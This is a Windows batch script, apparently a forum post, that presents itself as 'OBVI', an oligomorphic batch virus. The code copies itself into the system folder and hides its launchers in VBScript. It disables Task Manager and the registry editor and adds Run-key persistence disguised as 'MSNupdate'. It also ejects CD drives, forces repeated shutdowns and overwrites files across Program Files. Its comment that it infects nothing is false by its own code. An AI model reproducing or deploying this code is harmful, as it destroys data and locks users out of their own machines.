Código:
@echo off
rem ----------------------------------------------------------------------
rem OBVI ================= ......... 25/11/07
rem well it is a poliformic .bat file virus ... mmmmm is like another virus life form ... do not infect anything
rem only have fun with the victim xD ....
rem ...well nothing special but i think is really nice to see a poliformic batch script virus
rem enjoy!
rem OBVI (Oligomorphic Batch VIrus)
echo ============================================
echo |OBVI by Shadow (The Shadow) whatever way |
echo ============================================
set a="%windir%\prntcrlt.bat"
if exist %a% goto code
echo set shell = CreateObject("wscript.shell") > %windir%\run.vbs
echo shell.run "cmd /c prntcrlt.bat", vbHide >> %windir%\run.vbs
copy %0 %a%
:qep
set hor=%time:~0,2%
set tim=%time:~3%
set tim=%tim:~0,2%
set /A tim=%tim% + 5
if /I %tim% geq 60 (set /a hor=%hor%+1
set /a tim=%tim%-60
if /I %tim% lss 10 (set tim=0%tim%))
set ecx=%hor%:%tim%
at %ecx% "%windir%\run.vbs"
exit
:crea
echo 0 > vals.tk
echo 1 >> vals.tk
echo 2 >> vals.tk
echo 3 >> vals.tk
echo 4 >> vals.tk
echo 5 >> vals.tk
echo 6 >> vals.tk
echo 7 >> vals.tk
echo 8 >> vals.tk
echo 9 >> vals.tk
echo A >> vals.tk
echo B >> vals.tk
echo C >> vals.tk
echo D >> vals.tk
echo E >> vals.tk
echo F >> vals.tk
goto for
:modulcrea
set tar=%tar:~,1%
if /I %tar% leq 9 ( if %tar% == 9 ( set tar2=A
goto klop )
set /A tar2=%tar%+1 ) else ( if %tar% == A set tar2=B
if %tar% == B set tar2=C
if %tar% == C set tar2=D
if %tar% == D set tar2=E
if %tar% == E set tar2=F )
:klop
echo :modul%tar% ¿mol%tar%¿ >> modul.tk
if %tar%==0 ( echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t Reg_dword /d 1 /f ¿mol%tar%¿ >> modul.tk
echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t Reg_dword /d 1 /f ¿mol%tar%¿ >> modul.tk
echo goto ¿1_jk ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==1 ( echo :_jk ¿mol%tar%¿ >> modul.tk
echo copy "¿windir¿\kpore.bat" "¿windir¿\k0.bat" ¿mol%tar%¿ >> modul.tk
echo reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate /d "%windir%\k0.vbs" /f ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==2 ( echo echo set shell = CreateObject¡"wscript.shell"$ ^> %windir%\k0.vbs ¿mol%tar%¿ >> modul.tk
echo echo shell.run "cmd /c k0.bat ini", vbHide ^>^> %windir%\k0.vbs ¿mol%tar%¿ >> modul.tk
echo echo Set fg = CreateObject¡"WMPlayer.OCX.7"$ ^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo Set fgh = fg.cdromCollection ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo if fgh.Count then ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo For i = 0 to fgh.Count-1 ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo fgh.Item¡i$.Eject ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo Next ' cdrom ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo End If ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==3 ( echo :ini_jk ¿mol%tar%¿ >> modul.tk
echo start conf.vbs ¿mol%tar%¿ >> modul.tk
echo set hor=¿time:~0,2¿ ¿mol%tar%¿ >> modul.tk
echo set tim=¿time:~3¿ ¿mol%tar%¿ >> modul.tk
echo set tim=¿tim:~0,2¿ ¿mol%tar%¿ >> modul.tk
echo set /A tim=¿tim¿+1 ¿mol%tar%¿ >> modul.tk
echo if /I ¿tim¿ geq 60 ¡set /a hor=¿hor¿+1 ¿mol%tar%¿ >> modul.tk
echo set /a tim=¿tim¿-60 ¿mol%tar%¿ >> modul.tk
echo if /I ¿tim¿ lss 10 ¡set tim=0¿tim¿$$ ¿mol%tar%¿ >> modul.tk
echo set ecx=¿hor:~0,2¿:¿tim¿ ¿mol%tar%¿ >> modul.tk
echo at ¿ecx¿ "¿windir¿\k0.vbs" ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==4 ( echo cd "¿programfiles¿" ¿mol%tar%¿ >> modul.tk
echo dir /B ^> ¿homedrive¿\dir.txt ¿mol%tar%¿ >> modul.tk
echo goto for ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==5 ( echo reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate2 /d "shutdown -r -f -t 2423" /f ¿mol%tar%¿ >> modul.tk
echo shutdown -r -f -t 242 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==6 ( echo shutdown -r -f -t 12 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==7 ( echo :worm ¿mol%tar%¿ >> modul.tk
echo set target=¿1 ¿mol%tar%¿ >> modul.tk
echo cd "¿target¿" ¿mol%tar%¿ >> modul.tk
echo for ¿¿e in ¡*.*$ do echo Exworm by Shadow ^> ¿¿e ¿mol%tar%¿ >> modul.tk
echo cd "¿programfiles¿" ¿mol%tar%¿ >> modul.tk
echo goto :EOF ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==8 ( echo shutdown -r -f -t 43 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==9 ( echo :ERRNO ¿mol%tar%¿ >> modul.tk
echo for /f "tokens=* " ¿¿a in ¡¿homedir¿\dir.txt$ do call :worm "¿¿a" ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==A ( echo shutdown -s -f -t 53 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==B ( echo shutdown -s -f -t 22 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==C ( echo shutdown -r -f -t 11 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==D ( echo shutdown -r -f -t 666 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==E ( echo shutdown -s -f -t 23 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==F ( echo exit ¿mol%tar%¿ >> modul.tk
goto :EOF )
:for
for /f "tokens=*" %%a in (vals.tk) do (set tar=%%a && call :modulcrea)
:sig
echo set shell = CreateObject("Scripting.FileSystemObject") > rep.vbs
echo set file = shell.OpenTextFile("modul.tk") >> rep.vbs
echo read = file.ReadAll >> rep.vbs
echo repla = replace(read,"¿",chr(37)) >> rep.vbs
echo repla1 = replace(repla,"¡",chr(40)) >> rep.vbs
echo repla2 = replace(repla1,"$",chr(41)) >> rep.vbs
echo set b=shell.CreateTextFile("module.tk") >> rep.vbs
echo b.close >> rep.vbs
echo set d=shell.OpenTextFile("module.tk",2) >> rep.vbs
echo d.write repla2 >> rep.vbs
echo d.close >> rep.vbs
start rep.vbs
:code
if not exist module.tk goto crea
echo set shell = CreateObject("wscript.shell") > run2.vbs
echo shell.run "cmd /c kpore.bat", vbHide >> run2.vbs
ping -n 7 localhost > nul
set fail=module.tk
set vir=kpore.bat
echo @echo off > %vir%
set a=%time:~,5%
set b=%a:~3,2%
del modul.tk vals.tk rep.vbs
if /I %b% geq 0 (if /I %b% lss 10 goto a)
if /I %b% geq 10 (if /I %b% lss 20 goto b)
if /I %b% geq 20 (if /I %b% lss 30 goto c)
if /I %b% geq 30 (if /I %b% lss 40 goto d)
if /I %b% geq 40 (if /I %b% lss 50 goto e)
if /I %b% geq 50 (if /I %b% lss 60 goto f)
goto crea
:a
find "mol0" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
start run2.vbs
goto qep
:b
find "mol4" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
start run2.vbs
goto qep
:C
find "molB" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
start run2.vbs
goto qep
:d
find "molF" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
start run2.vbs
goto qep
:e
find "mol8" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
start run2.vbs
goto qep
:f
find "mol5" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
start run2.vbs
goto qep